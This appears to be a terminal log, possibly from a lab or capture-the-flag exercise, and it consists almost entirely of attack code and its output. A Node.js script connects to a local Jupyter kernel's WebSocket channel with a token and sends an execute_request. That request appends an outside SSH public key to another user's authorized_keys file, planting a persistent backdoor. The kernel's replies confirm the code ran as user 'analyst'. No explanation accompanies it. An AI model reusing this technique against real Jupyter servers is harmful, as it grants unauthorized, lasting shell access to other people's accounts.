1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
| cat > ws.js << 'EOF'
const ws = new WebSocket("ws://127.0.0.1:8888/api/kernels/720ca89a-058e-4686-b587-1a761e9869a8/channels?token=REDACTED");
ws.onopen = () => {
const payload = {
header: {
msg_id: "1",
username: "x",
session: "1",
msg_type: "execute_request",
version: "5.3"
},
parent_header: {},
metadata: {},
content: {
code: `
import os
key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDArUux6hy4G+Fc03mvt4MRgVmuuPIGTdnFWkJVO3itzylMOZUAy5P/s6sfzpTE08In05z3Qq4nEt2dRMJ1anle33hZGlNEddgHnPFMue3a0El/xIceD+WF9Dd23GpCb/EKcAQ2K1UhgHaYRT6T9S7zKUP+tiHyxUOU756o31TrZ1moqqxu8Iod4SnRG5gxe90248EH8LHkaxbV/aCc4jNmgqP5qb/80OEcOGU/R+M3TLV6APCkNCdh2Z4ywLhDLSXYN9lKuIjI+hYbbB7HD7/hd0H5zSxxcfdHaaayOH7iKjQLwiLhqhvV3M5N09/gE7+TbM2M07DGLyad59RU6if+SDApaGD/a97iQw8WKQnTfWhXnCrUefl+gxcfI/Gs+8eMBqlnZ+oO9nDNbHxLpqHhF+wiDYBxYgID/M+mqqbuFXMOkWEmuIJztnUVxzUzmf8H5GZnoX8F5fzwnv5tlm8InRlSaxjrgkH8gccstSb6ykyz9s3Z6NINOmom+exVS1myMp9Gk+evJHhDD1IxTXXC2qZF/cd2c8birpEqq1ATvdNjLwjHaqEp7Bs/3hqZgymrjxyOG+1N+6jM2EbBo5s27pbp+L58qARLkyeqVqjSExQbw5+bMYmhc/+MlxVCAvql2zn8lUsMWveYsziD+F+hETo7ApUtuZOcFM6eMpoNbQ== stapat@stapat"
os.makedirs("/home/analyst/.ssh", exist_ok=True)
with open("/home/analyst/.ssh/authorized_keys", "a") as f:
f.write(key + "\\n")
os.chmod("/home/analyst/.ssh", 0o700)
os.chmod("/home/analyst/.ssh/authorized_keys", 0o600)
print("done")
`,
silent: false
},
channel: "shell"
};
ws.send(JSON.stringify(payload));
};
ws.onmessage = (msg) => {
console.log(msg.data);
};
EOF
mcp-dev@devhub:~$ node ws.js
node ws.js
{"header": {"msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_17", "msg_type": "status", "username": "analyst", "session": "66afc08f-694d73f14453345bcabb4c48", "date": "2026-05-31T19:45:11.940623Z", "version": "5.4"}, "msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_17", "msg_type": "status", "parent_header": {"msg_id": "e960fe94-82cbda5ff9fd338177451f9f_1082_1", "msg_type": "kernel_info_request", "username": "analyst", "session": "e960fe94-82cbda5ff9fd338177451f9f", "date": "2026-05-31T19:45:11.936469Z", "version": "5.4"}, "metadata": {}, "content": {"execution_state": "busy"}, "buffers": [], "channel": "iopub"}
{"header": {"msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_19", "msg_type": "status", "username": "analyst", "session": "66afc08f-694d73f14453345bcabb4c48", "date": "2026-05-31T19:45:11.943325Z", "version": "5.4"}, "msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_19", "msg_type": "status", "parent_header": {"msg_id": "e960fe94-82cbda5ff9fd338177451f9f_1082_1", "msg_type": "kernel_info_request", "username": "analyst", "session": "e960fe94-82cbda5ff9fd338177451f9f", "date": "2026-05-31T19:45:11.936469Z", "version": "5.4"}, "metadata": {}, "content": {"execution_state": "idle"}, "buffers": [], "channel": "iopub"}
{"header": {"msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_20", "msg_type": "status", "username": "analyst", "session": "66afc08f-694d73f14453345bcabb4c48", "date": "2026-05-31T19:45:11.944832Z", "version": "5.4"}, "msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_20", "msg_type": "status", "parent_header": {"msg_id": "e960fe94-82cbda5ff9fd338177451f9f_1082_0", "msg_type": "kernel_info_request", "username": "analyst", "session": "e960fe94-82cbda5ff9fd338177451f9f", "date": "2026-05-31T19:45:11.936071Z", "version": "5.4"}, "metadata": {}, "content": {"execution_state": "idle"}, "buffers": [], "channel": "iopub"}
{"header": {"msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_21", "msg_type": "status", "username": "analyst", "session": "66afc08f-694d73f14453345bcabb4c48", "date": "2026-05-31T19:45:11.953102Z", "version": "5.4"}, "msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_21", "msg_type": "status", "parent_header": {"msg_id": "1", "username": "x", "session": "1", "msg_type": "execute_request", "version": "5.3", "date": "2026-05-31T19:45:11.949197Z"}, "metadata": {}, "content": {"execution_state": "busy"}, "buffers": [], "channel": "iopub"}
{"header": {"msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_22", "msg_type": "execute_input", "username": "analyst", "session": "66afc08f-694d73f14453345bcabb4c48", "date": "2026-05-31T19:45:11.953515Z", "version": "5.4"}, "msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_22", "msg_type": "execute_input", "parent_header": {"msg_id": "1", "username": "x", "session": "1", "msg_type": "execute_request", "version": "5.3", "date": "2026-05-31T19:45:11.949197Z"}, "metadata": {}, "content": {"code": "\nimport os\n\nkey = \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDArUux6hy4G+Fc03mvt4MRgVmuuPIGTdnFWkJVO3itzylMOZUAy5P/s6sfzpTE08In05z3Qq4nEt2dRMJ1anle33hZGlNEddgHnPFMue3a0El/xIceD+WF9Dd23GpCb/EKcAQ2K1UhgHaYRT6T9S7zKUP+tiHyxUOU756o31TrZ1moqqxu8Iod4SnRG5gxe90248EH8LHkaxbV/aCc4jNmgqP5qb/80OEcOGU/R+M3TLV6APCkNCdh2Z4ywLhDLSXYN9lKuIjI+hYbbB7HD7/hd0H5zSxxcfdHaaayOH7iKjQLwiLhqhvV3M5N09/gE7+TbM2M07DGLyad59RU6if+SDApaGD/a97iQw8WKQnTfWhXnCrUefl+gxcfI/Gs+8eMBqlnZ+oO9nDNbHxLpqHhF+wiDYBxYgID/M+mqqbuFXMOkWEmuIJztnUVxzUzmf8H5GZnoX8F5fzwnv5tlm8InRlSaxjrgkH8gccstSb6ykyz9s3Z6NINOmom+exVS1myMp9Gk+evJHhDD1IxTXXC2qZF/cd2c8birpEqq1ATvdNjLwjHaqEp7Bs/3hqZgymrjxyOG+1N+6jM2EbBo5s27pbp+L58qARLkyeqVqjSExQbw5+bMYmhc/+MlxVCAvql2zn8lUsMWveYsziD+F+hETo7ApUtuZOcFM6eMpoNbQ== stapat@stapat\"\n\nos.makedirs(\"/home/analyst/.ssh\", exist_ok=True)\n\nwith open(\"/home/analyst/.ssh/authorized_keys\", \"a\") as f:\n f.write(key + \"\\n\")\n\nos.chmod(\"/home/analyst/.ssh\", 0o700)\nos.chmod(\"/home/analyst/.ssh/authorized_keys\", 0o600)\n\nprint(\"done\")\n", "execution_count": 2}, "buffers": [], "channel": "iopub"}
{"header": {"msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_23", "msg_type": "stream", "username": "analyst", "session": "66afc08f-694d73f14453345bcabb4c48", "date": "2026-05-31T19:45:11.959323Z", "version": "5.4"}, "msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_23", "msg_type": "stream", "parent_header": {"msg_id": "1", "date": "2026-05-31T19:45:11.949197Z", "username": "x", "session": "1", "version": "5.3", "msg_type": "execute_request"}, "metadata": {}, "content": {"name": "stdout", "text": "done\n"}, "buffers": [], "channel": "iopub"}
{"header": {"msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_24", "msg_type": "execute_reply", "username": "analyst", "session": "66afc08f-694d73f14453345bcabb4c48", "date": "2026-05-31T19:45:11.963269Z", "version": "5.4"}, "msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_24", "msg_type": "execute_reply", "parent_header": {"msg_id": "1", "username": "x", "session": "1", "msg_type": "execute_request", "version": "5.3", "date": "2026-05-31T19:45:11.949197Z"}, "metadata": {"started": "2026-05-31T19:45:11.953473Z", "dependencies_met": true, "engine": "9700056d-6b61-4f58-9cad-30091df0ec79", "status": "ok"}, "content": {"status": "ok", "execution_count": 2, "user_expressions": {}, "payload": []}, "buffers": [], "channel": "shell"}
{"header": {"msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_25", "msg_type": "status", "username": "analyst", "session": "66afc08f-694d73f14453345bcabb4c48", "date": "2026-05-31T19:45:11.964756Z", "version": "5.4"}, "msg_id": "66afc08f-694d73f14453345bcabb4c48_1777_25", "msg_type": "status", "parent_header": {"msg_id": "1", "username": "x", "session": "1", "msg_type": "execute_request", "version": "5.3", "date": "2026-05-31T19:45:11.949197Z"}, "metadata": {}, "content": {"execution_state": "idle"}, "buffers": [], "channel": "iopub"}
|